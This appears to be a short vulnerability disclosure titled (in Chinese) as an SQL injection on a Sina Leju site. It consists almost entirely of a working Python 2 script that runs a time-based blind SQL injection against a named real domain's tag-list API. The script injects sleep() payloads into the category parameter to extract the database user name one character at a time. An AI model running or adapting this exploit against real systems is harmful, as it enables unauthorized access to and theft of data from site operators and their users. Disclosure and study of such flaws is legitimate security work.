新浪乐居某站SQL注入

#!/usr/bin/env python
 #-*- coding: utf-8 -*-
 
 
 import requests
 import time
 import string
 
 
 
 character = string.digits + string.ascii_lowercase + '._@ '
 res = ''
 
 headers = {
  'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.69 Safari/537.36',
  'Referer': 'http://news.leju.com/tag/',
  }
 
 
 for i in range(1, 21):
  for p in character:
   status = False
   while True:
    start_time = time.time()
    url = "http://news.leju.com/api/data/gettaglists?category='%2b(select(0)from(select(sleep((mid(user(),{},1)='{}')*4)))v)%2b'&callback=_1459476097316824".format(i, p)
    try:
     req = requests.get(url, headers=headers)
    except:
     pass
    else:
     print req.url
     if time.time() - start_time > 4:
      res += p
      print "/n" + res + "/n"
      status = True
      time.sleep(1)
      break
     break
    time.sleep(1)
   if status:
    break
 
 print "/n/n[Finish]: " + res